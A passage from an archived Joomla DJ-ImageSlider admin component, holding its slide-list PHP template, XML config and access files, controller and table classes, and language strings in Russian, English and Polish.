<?php echo DJIMAGESLIDERFOOTER; ?>
com_djimageslider/views/items/tmpl/default.php000060400000021576152455305320015607 0ustar00<?php 
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

defined('_JEXEC') or die('Restricted access');

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Session\Session;


JHtml::_('formbehavior.chosen', 'select');

if(version_compare(JVERSION, '4', '<')) { // Joomla 3) { // first must be the zoomer script
    JHTML::_('behavior.tooltip');
}
$user		= JFactory::getUser();
$userId		= $user->get('id');
$listOrder	= $this->state->get('list.ordering');
$listDirn	= $this->state->get('list.direction');
$canOrder	= $user->authorise('core.edit.state', 'com_djimageslider.category');
$saveOrder	= $listOrder == 'a.ordering';

$joomla4 = version_compare(JVERSION, '4', '>=') ? true : false;

if($saveOrder) {
	if($joomla4) {
		$saveOrderingUrl = 'index.php?option=com_djimageslider&task=items.saveOrderAjax&tmpl=component&' . Session::getFormToken() . '=1';
		HTMLHelper::_('draggablelist.draggable');
	} else {
		$saveOrderingUrl = 'index.php?option=com_djimageslider&task=items.saveOrderAjax&tmpl=component';
		JHtml::_('sortablelist.sortable', 'itemsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl);
	}
}
?>

<div class="<?php echo $this->classes->row ?>">

<?php if(!empty( $this->sidebar)): ?>
<div id="j-sidebar-container" class="<?php echo $this->classes->col ?>2">
	<?php echo $this->sidebar; ?>
</div>
<div id="j-main-container" class="<?php echo $this->classes->col ?>10">
<?php else: ?>
<div id="j-main-container">
<?php endif;?>
	
<form action="<?php echo JRoute::_('index.php?option=com_djimageslider&view=items'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="filter-bar" class="btn-toolbar">
		<div class="filter-search fltlft btn-group pull-left">
			<label class="filter-search-lbl element-invisible" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
			<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" placeholder="<?php echo JText::_('COM_DJIMAGESLIDER_SEARCH_IN_TITLE'); ?>" />
		</div>
		<div class="filter-search fltlft btn-group pull-left">
			<button type="submit" class="btn"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
			<button type="button" class="btn" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
		</div>
		<div class="btn-group pull-right hidden-phone">
			<?php echo $this->pagination->getLimitBox(); ?>
		</div>
		<div class="filter-select fltrt btn-group pull-right">
			<select name="filter_published" class="inputbox input-medium" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
				<?php echo JHtml::_('select.options', array(JHtml::_('select.option', '1', 'JPUBLISHED'),JHtml::_('select.option', '0', 'JUNPUBLISHED')), 'value', 'text', $this->state->get('filter.published'), true);?>
			</select>
		</div>
		<div class="filter-select fltrt btn-group pull-right">
			<select name="filter_category" class="inputbox" onchange="this.form.submit()">
				<option value=""><?php echo JText::_('JOPTION_SELECT_CATEGORY');?></option>
				<?php echo JHtml::_('select.options', JHtml::_('category.options', 'com_djimageslider'), 'value', 'text', $this->state->get('filter.category'));?>
			</select>
		</div>
	</div>
	<div class="clr"> </div>
	
	<table class="adminlist table table-striped" id="itemsList">
		<thead>
			<tr>
				<th width="1%" class="nowrap center hidden-phone">
					<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
				</th>
				<th width="1%">
					<input type="checkbox" name="checkall-toggle" value="" onclick="checkAll(this)" />
				</th>
				<th width="8%">
					<?php echo JText::_('COM_DJIMAGESLIDER_IMAGE'); ?>
				</th>
				<th>
					<?php echo JHtml::_('grid.sort',  'JGLOBAL_TITLE', 'a.title', $listDirn, $listOrder); ?>
				</th>				
				<th width="5%">
					<?php echo JHtml::_('grid.sort', 'JPUBLISHED', 'a.published', $listDirn, $listOrder); ?>
				</th>
				<th width="10%">
					<?php echo JHtml::_('grid.sort', 'JCATEGORY', 'category_title', $listDirn, $listOrder); ?>
				</th>
				<th width="1%">
					<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
				</th>
			</tr>
		</thead>
		<tfoot>
			<tr>
				<td colspan="10">
					<?php echo $this->pagination->getListFooter(); ?>
				</td>
			</tr>
		</tfoot>
		<tbody <?php if ($saveOrder && $joomla4) :?> class="js-draggable" data-url="<?php echo $saveOrderingUrl; ?>" data-direction="<?php echo strtolower($listDirn); ?>" data-nested="false"<?php endif; ?>>
		<?php 
		$n = count($this->items);
		foreach ($this->items as $i => $item) :
			$ordering	= ($listOrder == 'a.ordering');
			$canCreate	= $user->authorise('core.create',		'com_djimageslider.category.'.$item->catid);
			$canEdit	= $user->authorise('core.edit',			'com_djimageslider.category.'.$item->catid);
			$canCheckin	= $user->authorise('core.manage',		'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
			$canEditOwn	= true; //$user->authorise('core.edit.own',		'com_djimageslider.category.'.$item->catid) && $item->created_by == $userId;
			$canChange	= $user->authorise('core.edit.state',	'com_djimageslider.category.'.$item->catid) && $canCheckin;

			?>
			<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid ?>" data-draggable-group="<?php echo $item->catid ?>">
			
				<td class="order nowrap center hidden-phone">
					<?php $iconClass = '';
					if (!$canChange) {
						$iconClass = ' inactive';
					} elseif (!$saveOrder) {
						$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::tooltipText('JORDERINGDISABLED');
					} ?>
					<span class="sortable-handler<?php echo $iconClass ?>">
						<i class="icon-move"></i>
					</span>
					<?php if ($canChange && $saveOrder) : ?>
						<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
					<?php endif; ?>
				</td>
				<td class="center">
					<?php echo JHtml::_('grid.id', $i, $item->id); ?>
				</td>
				<td align="center">
					<?php if ($item->image) : ?>
						<a class="mf-popup" href="<?php echo $item->image; ?>"><img src="<?php echo $item->image; ?>" alt="<?php echo $this->escape($item->title); ?>" style="border: 1px solid #ccc; padding: 1px; max-height: 40px; max-width: 60px;" /></a>
					<?php endif; ?>
				</td>
				<td>
					<?php if ($item->checked_out) : ?>
						<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'items.', $canCheckin); ?>
					<?php endif; ?>
					<?php if ($canEdit || $canEditOwn) : ?>
						<a href="<?php echo JRoute::_('index.php?option=com_djimageslider&task=item.edit&id='.(int) $item->id); ?>">
							<?php echo $this->escape($item->title); ?></a>
					<?php else : ?>
						<?php echo $this->escape($item->title); ?>
					<?php endif; ?>
					<div class="smallsub small">
						<?php 
						$desc = strip_tags($item->description);
						if(function_exists('mb_substr')) {
							echo mb_substr($desc,0,120); if(strlen($desc) > 120) echo '...';
						} else {
							echo substr($desc,0,120); if(strlen($desc) > 120) echo '...';
						} ?>
					</div>
				</td>
				<td class="center">
					<?php echo JHtml::_('jgrid.published', $item->published, $i, 'items.', true, 'cb'	); ?>
				</td>
			
				<td align="center">
					<?php echo $item->category_title; ?>
				</td>
				<td align="center">
					<?php echo $item->id; ?>
				</td>
			</tr>
		<?php endforeach; ?>
		</tbody>
	</table>
	<div>
		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
		<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
</div>

</div>

<div class="clr" style="clear: both"></div>
<?php echo DJIMAGESLIDERFOOTER; ?>
com_djimageslider/views/items/tmpl/index.html000060400000000054152455305320015433 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/config.xml000060400000001025152455305320012172 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>

	<!-- fieldset name="component"
		label="COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_LABEL"
		description="COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_DESC">
		
 	</fieldset-->
 	
 	<fieldset name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
	>

		<field name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			validate="rules"
			filter="rules"
			component="com_djimageslider"
			section="component" />
	</fieldset>
 	
</config>
com_djimageslider/access.xml000060400000002405152455305320012171 0ustar00<?xml version="1.0" encoding="utf-8"?>
<access component="com_djimageslider">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
	</section>
	<section name="category">
		<action name="core.create" title="JACTION_CREATE" description="COM_CATEGORIES_ACCESS_CREATE_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="COM_CATEGORIES_ACCESS_DELETE_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="COM_CATEGORIES_ACCESS_EDIT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="COM_CATEGORIES_ACCESS_EDITSTATE_DESC" />
		<action name="core.edit.own" title="JACTION_EDITOWN" description="COM_CATEGORIES_ACCESS_EDITOWN_DESC" />
	</section>
</access>
com_djimageslider/controllers/cpanel.php000060400000002410152455305320014523 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controllerform');

class DJImageSliderControllerCPanel extends JControllerLegacy {
	
	function __construct($config = array())
	{
		parent::__construct($config);
	}
	
}

?>com_djimageslider/controllers/item.php000060400000002261152455305320014223 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access
defined('_JEXEC') or die;

jimport('joomla.application.component.controllerform');

class DJImageSliderControllerItem extends JControllerForm {
}

?>com_djimageslider/controllers/index.html000060400000000000152455305320014536 0ustar00com_djimageslider/controllers/items.php000060400000002564152455305320014414 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// No direct access.
defined('_JEXEC') or die;

jimport('joomla.application.component.controlleradmin');

class DJImageSliderControllerItems extends JControllerAdmin
{
	public function getModel($name = 'Item', $prefix = 'DJImageSliderModel', $config = array('ignore_request' => true))
	{
		$model = parent::getModel($name, $prefix, $config);

		return $model;
	}
}com_djimageslider/tables/index.html000060400000000054152455305320013453 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_djimageslider/tables/item.php000060400000004027152455305320013131 0ustar00<?php
/**
 * @version $Id$
 * @package DJ-ImageSlider
 * @subpackage DJ-ImageSlider Component
 * @copyright Copyright (C) 2017 DJ-Extensions.com, All rights reserved.
 * @license http://www.gnu.org/licenses GNU/GPL
 * @author url: http://dj-extensions.com
 * @author email contact@dj-extensions.com
 * @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
 *
 *
 * DJ-ImageSlider is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * DJ-ImageSlider is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with DJ-ImageSlider. If not, see <http://www.gnu.org/licenses/>.
 *
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

class DJImageSliderTableItem extends JTable
{
	public function __construct(&$db) {
		parent::__construct('#__djimageslider', 'id', $db);
	}

	function bind($array, $ignore = '')
	{
		if (isset($array['params']) && is_array($array['params'])) {
			$registry = new JRegistry();
			$registry->loadArray($array['params']);
			$array['params'] = (string)$registry;
		}
		
		if(empty($array['alias'])) {
			$array['alias'] = $array['title'];
		}
		$array['alias'] = JFilterOutput::stringURLSafe($array['alias']);
		if(trim(str_replace('-','',$array['alias'])) == '') {
			$array['alias'] = JFactory::getDate()->format("Y-m-d-H-i-s");
		}
		
		return parent::bind($array, $ignore);
	}
	
	public function store($updateNulls = false)
	{
		$isNew = ($this->id==0 ? true : false);
		$success = parent::store($updateNulls);
		if($isNew && $success && JFactory::getApplication()->input->get('view') == 'item') {
			$this->reorder('catid = '.$this->catid);
		}
		return $success;
	}
}
com_djimageslider/language/index.html000060400000000000152455305320013753 0ustar00com_djimageslider/language/ru-RU/ru-RU.com_djimageslider.sys.ini000060400000001544152455305320020676 0ustar00; Note : All ini files need to be saved as UTF-8

COM_DJIMAGESLIDER="DJ-ImageSlider"
COM_DJIMAGESLIDER_SLIDES="Слайды категории"
COM_DJIMAGESLIDER_CATEGORIES="Категории"

COM_DJIMAGESLIDER_DESCRIPTION="<strong>Thank you for installing DJ-ImageSlider!</strong><br /><br />The DJ-ImageSlider extension allows you to display image slides with title and short description linked to any menu item, article or custom url address. If you want to learn how to use DJ-ImageSlider please read <a href="_QQ_"http://dj-extensions.com/documentation"_QQ_">Documentation</a> and search our <a href="_QQ_"http://dj-extensions.com/forum"_QQ_">Support Forum</a><br /><br />Check out our other extensions at <a href="_QQ_"http://dj-extensions.com"_QQ_"><img scr="_QQ_"components/com_djimageslider/assets/logo.png"_QQ_" alt="_QQ_"DJ-Extensions.com"_QQ_" /></a>"com_djimageslider/language/ru-RU/ru-RU.com_djimageslider.ini000060400000005126152455305320020061 0ustar00; Note : All ini files need to be saved as UTF-8
; Translation is incomplete
COM_DJIMAGESLIDER="DJ-ImageSlider"
COM_DJIMAGESLIDER_SUBMENU_CPANEL="Control Panel"
COM_DJIMAGESLIDER_SUBMENU_SLIDES="Слайды"
COM_DJIMAGESLIDER_SUBMENU_CATEGORIES="Категории"
COM_DJIMAGESLIDER_NEW_SLIDE="New Slide"
COM_DJIMAGESLIDER_NEW_CATEGORY="New Category"
COM_DJIMAGESLIDER_DOCUMENTATION="Documentation"
COM_DJIMAGESLIDER_CONFIGURATION="DJ-ImageSlider Options"
COM_DJIMAGESLIDER_SLIDES="Слайды"

COM_DJIMAGESLIDER_ITEM="Слайд"
COM_DJIMAGESLIDER_NEW="New"
COM_DJIMAGESLIDER_EDIT="Edit"
COM_DJIMAGESLIDER_IMAGE="Slide image"
COM_DJIMAGESLIDER_DESCRIPTION="Slide description"
COM_DJIMAGESLIDER_DESCRIPTION_DESC="Use introtext of linked article or product as a slide description by leaving this field empty"
COM_DJIMAGESLIDER_PUBLISH_UP="Start Publishing"
COM_DJIMAGESLIDER_PUBLISH_UP_DESC="An optional date to Start Publishing the slide"
COM_DJIMAGESLIDER_PUBLISH_DOWN="Finish Publishing"
COM_DJIMAGESLIDER_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the slide"

COM_DJIMAGESLIDER_LINK_TYPE="Link type"
COM_DJIMAGESLIDER_DO_NOT_LINK="Don't link"
COM_DJIMAGESLIDER_LINK_TYPE_DESC="Choose the link target of this slide"
COM_DJIMAGESLIDER_MENU="Menu item"
COM_DJIMAGESLIDER_URL="Адрес URL"
COM_DJIMAGESLIDER_ARTICLE="Article"
COM_DJIMAGESLIDER_DJCATALOG2_ITEM="DJCatalog2 Product"
COM_DJIMAGESLIDER_LINK_TARGET="Target Window"
COM_DJIMAGESLIDER_LINK_TARGET_DESC="Target browser window when the link is clicked. Leave 'Auto' to let the module choose based on link."
COM_DJIMAGESLIDER_AUTO="Auto"
COM_DJIMAGESLIDER_PARENT_WINDOW="Parent Window"
COM_DJIMAGESLIDER_NEW_WINDOW="New Window"

COM_DJIMAGESLIDER_SEARCH_IN_TITLE="Search in title"

COM_DJIMAGESLIDER_N_ITEMS_DELETED="%s slides deleted."
COM_DJIMAGESLIDER_N_ITEMS_DELETED_1="%s slide deleted."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED="%s slides published."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED_1="%s slide published."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED="%s slides unpublished."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED_1="%s slide unpublished."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN="%s slides checked in."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN_1="%s slide checked in."

COM_DJIMAGESLIDER_VALIDATION_FORM_FAILED="Please fill in the required fields"

COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change"
COM_CONTENT_SELECT_AN_ARTICLE="Select an article"

COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_LABEL="Ustawienia"
COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_DESC="Nie ma żadnych ustawień dla komponentu DJ-ImageSlider. Cała konfiguracja znajduje się w parametrach modułu."
com_djimageslider/language/ru-RU/index.html000060400000000000152455305320014725 0ustar00com_djimageslider/language/en-GB/en-GB.com_djimageslider.ini000060400000006254152455305320017720 0ustar00; Note : All ini files need to be saved as UTF-8

COM_DJIMAGESLIDER="DJ-ImageSlider"
COM_DJIMAGESLIDER_SUBMENU_CPANEL="Control Panel"
COM_DJIMAGESLIDER_SUBMENU_SLIDES="Slides"
COM_DJIMAGESLIDER_SUBMENU_CATEGORIES="Categories"
COM_DJIMAGESLIDER_NEW_SLIDE="New Slide"
COM_DJIMAGESLIDER_NEW_CATEGORY="New Category"
COM_DJIMAGESLIDER_DOCUMENTATION="Documentation"
COM_DJIMAGESLIDER_CONFIGURATION="DJ-ImageSlider Options"
COM_DJIMAGESLIDER_SLIDES="Slides"

COM_DJIMAGESLIDER_ITEM="Slide"
COM_DJIMAGESLIDER_NEW="New"
COM_DJIMAGESLIDER_NEW_SLIDE="New Slide"
COM_DJIMAGESLIDER_EDIT="Edit"
COM_DJIMAGESLIDER_EDIT_SLIDE="Edit Slide"
COM_DJIMAGESLIDER_IMAGE="Slide image"
COM_DJIMAGESLIDER_DESCRIPTION="Slide description"
COM_DJIMAGESLIDER_DESCRIPTION_DESC="Use introtext of linked article or product as a slide description by leaving this field empty"
COM_DJIMAGESLIDER_PUBLISHING_OPTIONS="Publishing Options"
COM_DJIMAGESLIDER_PUBLISH_UP="Start Publishing"
COM_DJIMAGESLIDER_PUBLISH_UP_DESC="An optional date to Start Publishing the slide"
COM_DJIMAGESLIDER_PUBLISH_DOWN="Finish Publishing"
COM_DJIMAGESLIDER_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the slide"

COM_DJIMAGESLIDER_LINKING_OPTIONS="Linking Options"
COM_DJIMAGESLIDER_LINK_TYPE="Link type"
COM_DJIMAGESLIDER_DO_NOT_LINK="Don't link"
COM_DJIMAGESLIDER_LINK_TYPE_DESC="Choose the link target of this slide"
COM_DJIMAGESLIDER_MENU="Menu item"
COM_DJIMAGESLIDER_URL="URL address"
COM_DJIMAGESLIDER_ARTICLE="Article"
COM_DJIMAGESLIDER_DJCATALOG2_ITEM="DJCatalog2 Product"
COM_DJIMAGESLIDER_LINK_TARGET="Target Window"
COM_DJIMAGESLIDER_LINK_TARGET_DESC="Target browser window when the link is clicked. Leave 'Auto' to let the module choose based on link."
COM_DJIMAGESLIDER_AUTO="Auto"
COM_DJIMAGESLIDER_PARENT_WINDOW="Parent Window"
COM_DJIMAGESLIDER_NEW_WINDOW="New Window"

COM_DJIMAGESLIDER_SEARCH_IN_TITLE="Search in title"

COM_DJIMAGESLIDER_N_ITEMS_DELETED="%s slides deleted."
COM_DJIMAGESLIDER_N_ITEMS_DELETED_1="%s slide deleted."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED="%s slides published."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED_1="%s slide published."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED="%s slides unpublished."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED_1="%s slide unpublished."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN="%s slides checked in."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN_1="%s slide checked in."

COM_DJIMAGESLIDER_VALIDATION_FORM_FAILED="Please fill in the required fields"

COM_CONTENT_CHANGE_ARTICLE_BUTTON="Select / Change"
COM_CONTENT_SELECT_AN_ARTICLE="Select an article"

COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_LABEL="Preferences"
COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_DESC="There's no options for DJ-ImageSlider component. All settings can be done with module parameters."

COM_DJIMAGESLIDER_LINK_REL="REL Attribute"
COM_DJIMAGESLIDER_LINK_REL_DESC="The rel attribute specifies the relationship between the current document and the linked document"

COM_DJIMAGESLIDER_IMAGE_ATTR_OPTIONS="Image attributes"
COM_DJIMAGESLIDER_ALT_ATTR="ALT attribute"
COM_DJIMAGESLIDER_ALT_ATTR_DESC="If empty then slide title will be used"
COM_DJIMAGESLIDER_TITLE_ATTR="TITLE attribute"
COM_DJIMAGESLIDER_TITLE_ATTR_DESC="If empty then no title attribute will be used"
com_djimageslider/language/en-GB/en-GB.com_djimageslider.sys.ini000060400000001500152455305320020522 0ustar00; Note : All ini files need to be saved as UTF-8

COM_DJIMAGESLIDER="DJ-ImageSlider"
COM_DJIMAGESLIDER_SLIDES="Slides"
COM_DJIMAGESLIDER_CATEGORIES="Categories"

COM_DJIMAGESLIDER_DESCRIPTION="<strong>Thank you for installing DJ-ImageSlider!</strong><br /><br />The DJ-ImageSlider extension allows you to display image slides with title and short description linked to any menu item, article or custom url address. If you want to learn how to use DJ-ImageSlider please read <a href="_QQ_"http://dj-extensions.com/documentation"_QQ_">Documentation</a> and search our <a href="_QQ_"http://dj-extensions.com/forum"_QQ_">Support Forum</a><br /><br />Check out our other extensions at <a href="_QQ_"http://dj-extensions.com"_QQ_"><img scr="_QQ_"components/com_djimageslider/assets/logo.png"_QQ_" alt="_QQ_"DJ-Extensions.com"_QQ_" /></a>"com_djimageslider/language/en-GB/index.html000060400000000000152455305320014643 0ustar00com_djimageslider/language/pl-PL/index.html000060400000000000152455305320014677 0ustar00com_djimageslider/language/pl-PL/pl-PL.com_djimageslider.ini000060400000005100152455305320017775 0ustar00; Note : All ini files need to be saved as UTF-8

COM_DJIMAGESLIDER="DJ-ImageSlider"
COM_DJIMAGESLIDER_SUBMENU_CPANEL="Pulpit"
COM_DJIMAGESLIDER_SUBMENU_SLIDES="Slajdy"
COM_DJIMAGESLIDER_SUBMENU_CATEGORIES="Kategorie"
COM_DJIMAGESLIDER_NEW_SLIDE="Nowy slajd"
COM_DJIMAGESLIDER_NEW_CATEGORY="Nowa kategoria"
COM_DJIMAGESLIDER_DOCUMENTATION="Documentation"
COM_DJIMAGESLIDER_CONFIGURATION="Ustawienia DJ-ImageSlider"
COM_DJIMAGESLIDER_SLIDES="Slajdy"

COM_DJIMAGESLIDER_ITEM="Slajd"
COM_DJIMAGESLIDER_NEW="Nowy"
COM_DJIMAGESLIDER_EDIT="Edycja"
COM_DJIMAGESLIDER_IMAGE="Obraz"
COM_DJIMAGESLIDER_DESCRIPTION="Opis slajdu"
COM_DJIMAGESLIDER_DESCRIPTION_DESC="Użyj wstępu artykułu lub produktu jako opis slajdu pozostawiając puste pole opisu."
COM_DJIMAGESLIDER_PUBLISH_UP="Start Publishing"
COM_DJIMAGESLIDER_PUBLISH_UP_DESC="An optional date to Start Publishing the slide"
COM_DJIMAGESLIDER_PUBLISH_DOWN="Finish Publishing"
COM_DJIMAGESLIDER_PUBLISH_DOWN_DESC="An optional date to Finish Publishing the slide"

COM_DJIMAGESLIDER_LINK_TYPE="Rodzaj odnośnika"
COM_DJIMAGESLIDER_DO_NOT_LINK="Bez odnośnika"
COM_DJIMAGESLIDER_LINK_TYPE_DESC="Wybierz rodzaj odnośnika"
COM_DJIMAGESLIDER_MENU="Element menu"
COM_DJIMAGESLIDER_URL="Adres URL"
COM_DJIMAGESLIDER_ARTICLE="Artykuł"
COM_DJIMAGESLIDER_DJCATALOG2_ITEM="Produkt z DJCatalog2"
COM_DJIMAGESLIDER_LINK_TARGET="Otwórz w"
COM_DJIMAGESLIDER_LINK_TARGET_DESC="Określ, gdzie otworzyć ten link po jego kliknięciu. Ustaw na 'Auto', aby moduł wybrał automatycznie na podstawie linku."
COM_DJIMAGESLIDER_AUTO="Auto"
COM_DJIMAGESLIDER_PARENT_WINDOW="W tym samym oknie"
COM_DJIMAGESLIDER_NEW_WINDOW="W nowym oknie"

COM_DJIMAGESLIDER_SEARCH_IN_TITLE="Szukaj w tytule"

COM_DJIMAGESLIDER_N_ITEMS_DELETED="Usunięto %s slajdów."
COM_DJIMAGESLIDER_N_ITEMS_DELETED_1="Usunięto %s slajd."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED="Opublikowano %s slajdów."
COM_DJIMAGESLIDER_N_ITEMS_PUBLISHED_1="Opublikowano %s slajd."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED="Odpublikowano %s slajdów."
COM_DJIMAGESLIDER_N_ITEMS_UNPUBLISHED_1="Odpublikowano %s slajd."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN="Odblokowano %s slajdów."
COM_DJIMAGESLIDER_N_ITEMS_CHECKED_IN_1="Odblokowano %s slajd."

COM_DJIMAGESLIDER_VALIDATION_FORM_FAILED="Proszę wypełnić wymagane pola"

COM_CONTENT_CHANGE_ARTICLE_BUTTON="Wybierz / Zmień"
COM_CONTENT_SELECT_AN_ARTICLE="Wybierz artykuł"

COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_LABEL="Ustawienia"
COM_DJIMAGESLIDER_CONFIG_GLOBAL_SETTINGS_DESC="Nie ma żadnych ustawień dla komponentu DJ-ImageSlider. Cała konfiguracja znajduje się w parametrach modułu."
com_djimageslider/language/pl-PL/pl-PL.com_djimageslider.sys.ini000060400000001477152455305320020627 0ustar00; Note : All ini files need to be saved as UTF-8

COM_DJIMAGESLIDER="DJ-ImageSlider"
